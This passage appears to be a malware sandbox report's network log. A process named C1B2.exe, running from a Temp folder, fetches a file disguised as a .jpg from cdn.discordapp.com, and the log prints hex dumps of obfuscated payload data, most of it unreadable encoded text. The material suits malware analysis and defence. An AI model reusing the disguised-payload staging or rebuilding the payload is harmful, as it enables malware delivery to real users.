qOD O qqm O qqM O qOO O qOW O qOp O qJq O pE O qqW O pE O qqD O qOD O qqM O MM O qqO O qOX O qqm O qJq O qOJ O qqJ O qqq O qOJ O pE O MM O pE O qOJ O qOp O MX O qqX O qOO O pE O qqW O pE O qJq O qqM O MX O qqW O qOX O qqW O qOE O MX O qqO O qqm O pE
2021-10-29 18:29:50 UTC	1201	IN	Data Raw: 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 45 20 4f 20 71 4f 58 20 4f 20 71 71 44 20 4f 20 71 71 57 20 4f 20 71 71 6d 20 4f 20 4d 58 20 4f 20 4d 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 71 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 44 20 4f 20 4d 4d 20 4f 20 71 4f 4a 20 4f 20 71 71 57 20 4f 20 71 4a 4f 20 4f 20 71 71 44 20 4f 20 71 71 6d 20 4f 20 71 71 71 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 71 4f 45 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 4d 4d 20 4f 20 71 71 4a 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 70 45 20 Data Ascii: O MM O pE O qOM O qOE O qOX O qqD O qqW O qqm O MX O ME O qOO O pE O qqq O pE O qOX O qqE O qJO O qOD O MM O qOJ O qqW O qJO O qqD O qqm O qqq O qJO O pE O qqO O pE O qqX O qOE O qqM O MX O MX O qqM O MM O qqJ O qJJ O pE O qOJ O pE O MX O qOJ O qOO O pE
2021-10-29 18:29:50 UTC	1205	IN	Data Raw: 4d 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 71 4f 71 20 4f 20 71 71 57 20 4f 20 71 71 4a 20 4f 20 71 4f 70 20 4f 20 71 71 4f 20 4f 20 71 4f 57 20 4f 20 71 71 45 20 4f 20 71 71 57 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 71 4a 20 4f 20 71 71 57 20 4f 20 4d 58 20 4f 20 71 71 4f 20 4f 20 71 71 71 20 4f 20 4d 45 20 4f 20 4d 45 20 4f 20 71 4f 71 20 4f 20 4d 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 71 71 4f 20 4f 20 71 4f 45 20 4f 20 71 4f 58 20 4f 20 71 4f 70 20 4f 20 71 71 4f 20 4f 20 71 4f 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 57 20 4f 20 71 4f 70 20 4f 20 71 4f 4d 20 4f 20 70 45 20 4f 20 71 4f 70 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 71 4f 4a 20 4f Data Ascii: M O MM O qOW O qOq O qqW O qqJ O qOp O qqO O qOW O qqE O qqW O qOJ O pE O qOJ O pE O qOO O qqJ O qqW O MX O qqO O qqq O ME O ME O qOq O ME O qOW O pE O qOW O pE O qqm O qqO O qOE O qOX O qOp O qqO O qOM O qOp O qOW O qOp O qOM O pE O qOp O pE O MM O qOJ O
2021-10-29 18:29:50 UTC	1209	IN	Data Raw: 45 20 4f 20 71 4f 58 20 4f 20 71 4f 45 20 4f 20 71 4f 58 20 4f 20 71 71 4a 20 4f 20 71 71 71 20 4f 20 71 71 58 20 4f 20 71 4f 71 20 4f 20 71 4f 58 20 4f 20 71 4a 4f 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 4a 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 71 45 20 4f 20 71 71 4a 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 4d 45 20 4f 20 71 4a 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 45 20 4f 20 4d 45 20 4f 20 71 4f 4a 20 4f 20 71 71 4f 20 4f 20 71 4f 4f 20 4f 20 71 4a 4f 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 4f 45 20 4f 20 71 4f 57 20 4f 20 71 4a 71 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 71 71 71 20 4f 20 71 4f 70 Data Ascii: E O qOX O qOE O qOX O qqJ O qqq O qqX O qOq O qOX O qJO O qOW O pE O qqO O pE O qOO O qOJ O qJq O pE O qOJ O pE O qqE O qqJ O qqM O MX O ME O qJO O qqM O qOE O ME O qOJ O qqO O qOO O qJO O qqO O pE O qOW O pE O qOX O qOE O qOW O qJq O ME O qOp O qqq O qOp
2021-10-29 18:29:50 UTC	1213	IN	Data Raw: 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 71 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 4d 4a 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 6d 20 4f 20 71 4f 4f 20 4f 20 71 4f 4a 20 4f 20 4d 58 20 4f 20 71 4f 58 20 4f 20 71 4a 4a 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 71 4f 4f 20 4f 20 71 4f 70 20 4f 20 70 45 20 4f 20 71 70 20 4f 20 71 4f 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 58 4a 20 4f 20 70 45 20 4f 20 71 4f 6d 20 4f 20 71 71 57 20 4f 20 71 4f 44 20 4f 20 71 4f 6d 20 4f 20 71 71 58 20 4f 20 71 4f 58 20 4f 20 71 4f 4a 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 71 4a 71 20 Data Ascii: pE O qqW O pE O qOD O qqE O qOO O qOD O qOW O pE O MJ O pE O qOO O qOD O qOm O qOO O qOJ O MX O qOX O qJJ O qOO O qOD O qqm O qOO O qOp O pE O qp O qO O pE O qOO O qOJ O qOO O qqJ O pE O XJ O pE O qOm O qqW O qOD O qOm O qqX O qOX O qOJ O qqX O qOO O qJq
2021-10-29 18:29:50 UTC	1229	IN	Data Raw: 4f 20 57 44 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 57 4f 20 4f 20 44 44 20 4f 20 44 4d 20 4f 20 6d 4d 20 4f 20 6d 58 20 4f 20 57 71 20 4f 20 6d 4d 20 4f 20 57 44 20 4f 20 71 4a 57 20 4f 20 4d 4a 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 71 20 4a 71 20 44 58 20 4f 20 71 71 6d 20 4f 20 71 4f 57 20 4f 20 71 71 58 20 4f 20 71 4f 71 20 4f 20 71 71 6d 20 4f 20 44 58 20 4f 20 71 4f 71 20 4f 20 71 71 57 20 4f 20 4d 4d 20 4f 20 4f 20 71 4a 58 20 71 45 57 20 58 70 20 4f 20 58 4d 20 4f 20 58 70 20 4f 20 58 6d 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 4d 4a 20 4f 20 44 45 20 4f 20 71 71 71 20 4f 20 71 71 4f 20 4f 20 71 71 44 20 4f 20 71 71 6d 20 4f 20 71 71 71 20 4f 20 71 4f 58 20 4f 20 58 70 20 4f 20 71 4f 71 20 4f 20 71 71 44 20 4f 20 6d 58 Data Ascii: O WD O mX O mX O WO O DD O DM O mM O mX O Wq O mM O WD O qJW O MJ O mX O mX O mX O mX O q Jq DX O qqm O qOW O qqX O qOq O qqm O DX O qOq O qqW O MM O O qJX qEW Xp O XM O Xp O Xm O DM O EE O MJ O DE O qqq O qqO O qqD O qqm O qqq O qOX O Xp O qOq O qqD O mX
2021-10-29 18:29:50 UTC	1241	IN	Data Raw: 4a 20 6d 20 4a 57 4f 20 4f 20 4f 20 71 4d 4a 20 6d 20 71 4f 20 71 20 4f 20 71 4d 4a 20 6d 20 70 4f 20 71 20 4f 20 71 4d 4a 20 6d 20 70 71 20 71 20 4f 20 71 4d 4a 20 6d 20 70 4a 20 71 20 4f 20 71 4d 4a 20 6d 20 70 70 20 71 20 4f 20 71 4d 4a 20 6d 20 70 6d 20 71 20 4f 20 71 4d 4a 20 6d 20 70 57 20 71 20 4f 20 71 4d 4a 20 6d 20 70 44 20 71 20 4f 20 71 4d 4a 20 6d 20 70 45 20 71 20 4f 20 71 4d 4a 20 6d 20 70 58 20 71 20 4f 20 71 4d 4a 20 6d 20 70 4d 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 4f 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 71 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 4a 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 70 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 6d 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 57 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 44 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 45 20 Data Ascii: J m JWO O O qMJ m qO q O qMJ m pO q O qMJ m pq q O qMJ m pJ q O qMJ m pp q O qMJ m pm q O qMJ m pW q O qMJ m pD q O qMJ m pE q O qMJ m pX q O qMJ m pM q O qMJ m mO q O qMJ m mq q O qMJ m mJ q O qMJ m mp q O qMJ m mm q O qMJ m mW q O qMJ m mD q O qMJ m mE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49778	162.159.129.233	443	C:\Users\user\AppData\Local\Temp\C1B2.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:29:53 UTC	1254	OUT	GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 18:29:53 UTC	1254	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:29:53 GMT Content-Type: image/jpeg Content-Length: 406075 Connection: close CF-Ray: 6a5e78cf19134eb6-FRA Accept-Ranges: bytes Age: 1984 Cache-Control: public, max-age=31536000 ETag: "4be3e6f4d4f4aa1116f6c74f532cbeb7" Expires: Sat, 29 Oct 2022 18:29:53 GMT Last-Modified: Fri, 29 Oct 2021 17:49:11 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635529751768404 x-goog-hash: crc32c=bHQJMA== x-goog-hash: md5=S+Pm9NT0qhEW9sdPUyy+tw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 406075 X-GUploader-UploadID: ADPycdtQMHGyEhnppJ8P837WdZk3TFi4GDGE6cytjZ9NP8ck3B0QplKsdro4zTxd-YyGcioOy6QRjSQ8JvbrhdjjkmE X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TLijfGF2cuDrBxMtlr0rWbHjSDLcPmbUSUJCPIbKIlpwg0wawSvTicIGiM3IrTfaJfGtgmyAEFI%2B4wwvNcf39aNGhnOL3xB%2BlblDQDgiH482oRIGibKhTy%2F8ZSQlWzbuvnqVEQ%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:29:53 UTC	1255	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:29:53 UTC	1255	IN	Data Raw: 43 4e 56 4c 72 59 63 4d 49 57 2d 4d 4d 20 57 43 20 4e 72 72 20 43 20 4c 20 43 20 43 20 43 20 72 20 43 20 43 20 43 20 56 59 59 20 56 59 59 20 43 20 43 20 4e 49 72 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 63 72 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 4e 56 49 20 43 20 43 20 43 20 4e 72 20 4c 4e 20 4e 49 63 20 4e 72 20 43 20 4e 49 43 20 57 20 56 43 59 20 4c 4c 20 4e 49 72 20 4e 20 4d 63 20 56 43 59 20 4c 4c 20 49 72 20 4e 43 72 20 4e 43 59 20 4e 4e 59 20 4c 56 20 4e 4e 56 20 4e 4e 72 20 4e 4e 4e 20 4e 43 4c 20 4e 4e 72 20 57 4d 20 4e 43 57 20 4c 56 20 57 57 20 57 4d 20 4e 4e 43 20 4e Data Ascii: CNVLrYcMIW-MM WC Nrr C L C C C r C C C VYY VYY C C NIr C C C C C C C cr C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C NVI C C C Nr LN NIc Nr C NIC W VCY LL NIr N Mc VCY LL Ir NCr NCY NNY LV NNV NNr NNN NCL NNr WM NCW LV WW WM NNC N
2021-10-29 18:29:53 UTC	1256	IN	Data Raw: 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 56 59 20 72 43 20 56 56 57 20 4e 43 57 20 4e 4e 59 20 59 43 20 72 49 20 59 43 20 59 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 72 63 20 4e 72 4c 20 59 43 20 72 49 20 4e 4c 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4e 56 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 Data Ascii: C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C VY rC VVW NCW NNY YC rI YC YC Ir NNr NNM Nrc NrL YC rI NLI Yr Ir NNr NNM NCW NNV YC NNV YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr
2021-10-29 18:29:53 UTC	1258	IN	Data Raw: 20 59 43 20 4e 59 63 20 4e 49 4c 20 59 59 20 49 72 20 4e 4e 72 20 49 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 72 20 59 4e 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 49 20 59 72 20 49 72 20 4e 49 20 57 4e 20 4c 4e 20 4c 20 63 72 20 49 4c 20 59 43 20 59 72 20 49 72 20 4e 4d 49 20 4e 4e 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 72 43 20 59 4e 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 57 43 20 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 59 4c 20 4e 43 57 20 4e 4e 56 20 4e 4e 72 20 4c 43 20 63 Data Ascii: YC NYc NIL YY Ir NNr IY NCW NNV YC NIr YN Yr Ir NNI NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI NI Yr Ir NI WN LN L cr IL YC Yr Ir NMI NNI NCW NNV YC VrC YN Yr Ir NNI NNM NCW NNV NWC rW YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr YL NCW NNV NNr LC c
2021-10-29 18:29:53 UTC	1259	IN	Data Raw: 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 Data Ascii: YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr
2021-10-29 18:29:53 UTC	1260	IN	Data Raw: 20 4c 4d 20 72 4d 20 56 4e 4d 20 72 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 56 4c 20 4c 49 20 63 72 20 59 59 20 49 72 20 4e 4e 72 20 59 20 4c 4e 20 72 4e 20 59 43 20 72 49 20 63 63 20 4d 56 20 4d 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 49 49 20 72 59 20 72 49 20 59 43 20 63 43 20 56 72 63 20 49 4d 20 57 49 20 4c 4e 20 4e 20 59 43 20 72 49 20 63 63 20 63 49 20 56 59 4e 20 4e 4e 72 20 4e 4e 4d 20 56 57 20 4e 72 20 72 72 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 4e 43 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4e 72 72 20 56 4e 20 72 56 20 63 49 20 4e 72 4d 20 4e 4e 72 20 4e 4e 4d 20 56 57 20 56 20 59 4c 20 72 57 20 59 43 20 4d 43 20 72 56 20 4e 43 49 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 72 4d 20 59 43 20 59 72 20 57 72 20 56 43 49 20 57 4c 20 Data Ascii: LM rM VNM rV NNM NCW NNL VL LI cr YY Ir NNr Y LN rN YC rI cc MV Mr NNr NNM NCL II rY rI YC cC Vrc IM WI LN N YC rI cc cI VYN NNr NNM VW Nr rr rI YC cC NVr NCW NNM NCW NVV Nrr VN rV cI NrM NNr NNM VW V YL rW YC MC rV NCI NNM NCW NVV Vc rM YC Yr Wr VCI WL
2021-10-29 18:29:53 UTC	1262	IN	Data Raw: 20 4e 4e 4c 20 63 57 20 4e 4e 72 20 59 43 20 72 49 20 56 59 20 49 57 20 4e 4e 56 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59 59 20 4c 4c 20 59 72 20 56 43 43 20 49 56 20 4e 63 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 63 59 20 4c 43 20 59 43 20 59 72 20 57 72 20 4e 56 20 4e 4c 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 4e 20 4c 4e 20 4c 4c 20 4e 4e 72 20 4e 56 20 4e 72 56 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 43 63 20 59 56 20 56 4c 59 20 49 59 20 4e 4e 72 20 4e 4e 59 20 4c 43 20 57 59 20 59 43 20 72 49 20 59 63 20 4e 57 20 56 4e 56 20 4e 72 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 63 20 59 4e 20 59 43 20 59 72 20 4e 56 4d 20 56 57 20 57 59 20 4e 43 49 20 4e 4e 56 20 59 56 20 4c 4c 20 59 59 20 4c 57 20 49 43 20 4e 72 43 20 4e 4e 59 20 4e 49 63 Data Ascii: NNL cW NNr YC rI VY IW NNV NNY NNM NCM WM YY LL Yr VCC IV Ncr NNc NCW NNI cY LC YC Yr Wr NV NLW NCW NNV Yr VN LN LL NNr NV NrV NCW NNV Yr VCc YV VLY IY NNr NNY LC WY YC rI Yc NW VNV NrC NNM NCW NNc Vc YN YC Yr NVM VW WY NCI NNV YV LL YY LW IC NrC NNY NIc
2021-10-29 18:29:53 UTC	1263	IN	Data Raw: 20 59 43 20 59 72 20 57 72 20 57 43 20 4d 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 57 20 59 4c 20 4c 43 20 4e 4e 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 4c 20 59 4c 20 59 72 20 63 4c 20 56 4c 59 20 4e 56 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 56 63 20 59 63 20 59 43 20 59 72 20 49 56 20 4e 56 63 20 4e 4e 72 20 4c 43 20 56 4e 57 20 59 43 20 72 49 20 59 56 20 4c 4d 20 49 43 20 57 57 20 4e 4e 4c 20 4e 4e 4c 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 56 56 56 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 4c 59 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4d 59 20 4e 43 56 20 4c 4c 20 59 4c 20 4e 43 20 56 4c 72 20 49 72 20 Data Ascii: YC Yr Wr WC Mc NCW NNV Yc YW YL LC NNC NNr NNM NCL WL YL Yr cL VLY NVM NNY NNM NCW NNr Vc Yc YC Yr IV NVc NNr LC VNW YC rI YV LM IC WW NNL NNL VYL NCr rI YC YY NNL NcV VVV NCW NNV Yr Vr Y Yr Ir NVC c IY NNV YC YI WL NLY Ir NNr NNY MY NCV LL YL NC VLr Ir
2021-10-29 18:29:53 UTC	1264	IN	Data Raw: 20 49 72 20 4e 4e 72 20 4c 49 20 4e 43 49 20 4e 4e 56 20 59 43 20 4e 43 59 20 59 4e 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 63 4e 20 72 49 20 59 43 20 59 59 20 4d 57 20 63 63 20 4e 4e 59 20 4e 43 57 20 59 56 20 72 49 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 43 43 20 4c 43 20 4d 57 20 59 43 20 72 49 20 59 63 20 63 43 20 49 63 20 4e 4e 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 56 4c 43 20 4e 72 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 49 49 20 59 20 72 49 20 59 43 20 63 43 20 4c 57 20 4d 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 57 20 59 43 20 59 72 20 57 72 20 4e 56 4e 20 4e 4e 72 20 63 57 20 4d 72 20 59 43 20 72 49 20 59 63 20 56 4d 20 49 4c 20 4e 4e 63 20 4e 56 43 20 4e 4d 63 20 Data Ascii: Ir NNr LI NCI NNV YC NCY YN Yr Ir NNL NNM NCW NNV cN rI YC YY MW cc NNY NCW YV rI rI YC YL Ir NNr NCC LC MW YC rI Yc cC Ic NNN VrI YY NNV YC rW VL VLC NrC NNr NNM NCY II Y rI YC cC LW Mr NNM NCW NVV Vc W YC Yr Wr NVN NNr cW Mr YC rI Yc VM IL NNc NVC NMc
2021-10-29 18:29:53 UTC	1266	IN	Data Raw: 43 49 20 49 59 20 56 56 63 20 56 4e 72 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 20 4d 56 20 59 4e 20 72 49 20 59 56 20 4c 57 20 49 4c 20 57 57 20 4e 4e 4c 20 4e 56 72 20 4e 4e 4d 20 72 59 20 63 4c 20 4e 57 4e 20 4e 43 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4d 56 20 4e 63 43 20 4e 59 59 20 72 49 20 59 43 20 59 43 20 4e 56 72 20 63 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 59 20 49 20 59 43 20 59 72 20 57 72 20 56 57 20 56 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 63 20 56 63 20 72 49 20 49 72 20 4e 4e 72 20 4e 4e 59 20 56 20 4d 72 20 59 4e 20 72 49 20 59 56 20 Data Ascii: CI IY VVc VNr YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Vc NWL NNV YC Yr WL NL Ir NNr NVM V MV YN rI YV LW IL WW NNL NVr NNM rY cL NWN NCI Ir NNr NNc MV NcC NYY rI YC YC NVr cW NNM NCW NVV cY I YC Yr Wr VW VNM NCW NNV YV Yc Vc rI Ir NNr NNY V Mr YN rI YV
2021-10-29 18:29:53 UTC	1267	IN	Data Raw: 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 4e 4c 56 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 56 63 20 4e 4e 57 20 4c 59 20 59 59 20 72 4c 20 4e 49 4d 20 4e 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 4e 59 57 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 72 59 20 4e 4e 56 20 59 43 20 59 49 20 4c 4e 20 72 4e 20 63 57 20 4e 4e 4d 20 4e 43 49 20 56 56 72 20 72 56 20 59 43 20 72 49 20 59 4e 20 4e 57 20 4e 4c 56 20 4e 72 72 20 4e 4e 4d 20 4e 43 57 20 Data Ascii: Nr NNM NCI IY VVc NLV YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Vc NWL NNV YC Yr WL NL Ir NNr NVM NVc NNW LY YY rL NIM Nr NNr NNM NCI IY VVc NYW YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Vc rY NNV YC YI LN rN cW NNM NCI VVr rV YC rI YN NW NLV Nrr NNM NCW
2021-10-29 18:29:53 UTC	1268	IN	Data Raw: 59 20 4e 4e 4d 20 4e 43 57 20 4e 43 43 20 4c 4c 20 59 72 20 4c 59 20 59 43 20 63 57 20 4e 4e 57 20 4e 43 63 20 4e 56 43 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 59 4d 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 59 72 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 43 4e 20 49 49 20 59 56 20 72 49 20 59 43 20 72 49 20 4c 49 20 4e 20 4e 4e 57 20 4e 43 57 20 43 20 4d 63 20 72 63 20 59 43 20 59 72 20 57 72 20 56 57 20 4e 43 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 4c 59 20 59 4c 20 63 57 20 4e 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 57 20 59 49 20 4c 4c 20 59 49 20 4c 57 20 49 43 20 57 57 20 4e 4e 56 20 4e 4e 72 20 4e 56 72 20 4e 57 Data Ascii: Y NNM NCW NCC LL Yr LY YC cW NNW NCc NVC VYL NCr rI YC YY NNL NcV NYM NCW NNV 